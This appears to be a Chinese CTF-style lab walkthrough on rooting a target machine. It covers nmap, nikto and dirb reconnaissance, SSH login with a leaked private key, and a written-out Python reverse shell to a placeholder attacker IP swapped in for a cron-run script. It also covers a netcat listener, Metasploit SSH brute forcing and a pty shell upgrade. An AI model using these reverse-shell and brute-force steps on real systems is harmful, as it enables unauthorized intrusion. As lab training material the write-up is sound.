搭建环境
真机安装
python环境(python-IDE)
java环境(java-IDE)
PHP环境(phpstudy)
火狐浏览器延长支持板(需要安装HackBar扩展插件)
notepad++
虚拟机安装
kali linux
Win10(CFT工具包,为防止有后门不安装在真机)
拿到第一个用户权限并获取root权限
bash
1.信息探测
探测靶场开放的服务与服务的版本
nmap -sV ip
探测靶场全部信息
nmap -A -v ip
探测靶场的操作系统与版本
nmap -O ip
同样也可以用nikto来挖掘信息
nikto -host ip
2.分析探测结果
首先考虑暴力破解和私钥泄露
对于开放http服务的80端口或者其他端口的靶场首先考虑通过浏览器访问对应靶场的http服务(http://ip:port),然后再使用探测工具对http的目录进行探测(dirb http://ip:port)
3.利用挖掘到的ssh私钥
修改id_rsa的权限
chmod 600 id_rsa
利用私钥登录服务器
ssh -i id_rsa 用户名@ip
bash
登录服务器后需要做一下三点操作
1.查看当前用户
2.id查看当前用户的权限
3.查看根目录寻找flag文件
注:flag文件只属于root用户和对应的组
cat /etc/passwd ##查看所有用户的列表
cat /etc/group ##查看用户组
find / -user 用户名 ##查看属于某些用户的文件
/tmp ##查看缓冲文件目录
ls -al ##查看隐藏文件
4.查看/etc/crontab 这个文件,看是否有定时任务存在
cat /etc/crontab
5.编写反弹攻击的shell代码
#!/usr/bin/python
导入os,subprocess,socket这三个模块
import os,subprocess,socket
创建一个套接字
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
套接字反弹到攻击机的ip和端口号
s.connect(("攻击机IP地址","攻击机监听端口"))
标准输入赋值给套接字的标识符
os.dup2(s.fileno(),0)
标准输出赋值给套接字的标识符
os.dup2(s.fileno(),1)
错误输出赋值给套接字的标识符
os.dup2(s.fileno(),2)
子进程调用shell交互
p=subprocess.call(["/bin/sh","-i"])
6.查看端口是否被占用
查看在用端口
sudo netstat -pantu
监听端口
nc -lvp 4445
7.将编写的反弹攻击的shell代码上传到靶机中,然后更名为与靶机中py文件一样的名字
8.将上传的文件提升权限
9.查看/home文件是否具有root权限
10.利用cupp创建字典
注:kali中并没有这样的集成字典,需要自己git
git clone https://github.com/jeanphorn/common-password.git
chmod +x cupp.py
./cupp.py -i
11.使用metasploit破解ssh
msfconsole
msf > use auxiliary /scanner /ssh//ssh_login
msf auxiliary(ssh_login) > set rhosts 192.168.101.47
msf auxiliary(ssh_login) > set username simon
msf auxiliary(ssh_login) > set pass_file simon.txt
msf auxiliary(ssh_login) > set threads 5
msf auxiliary(ssh_login) > show options
msf auxiliary(ssh_login) > set verbose true
msf auxiliary(ssh_login) > run
12.进行会话优化
python -c "import pty;pty.spawn('/bin/bash')"
su -root
13.获取flag文件
一般在root目录下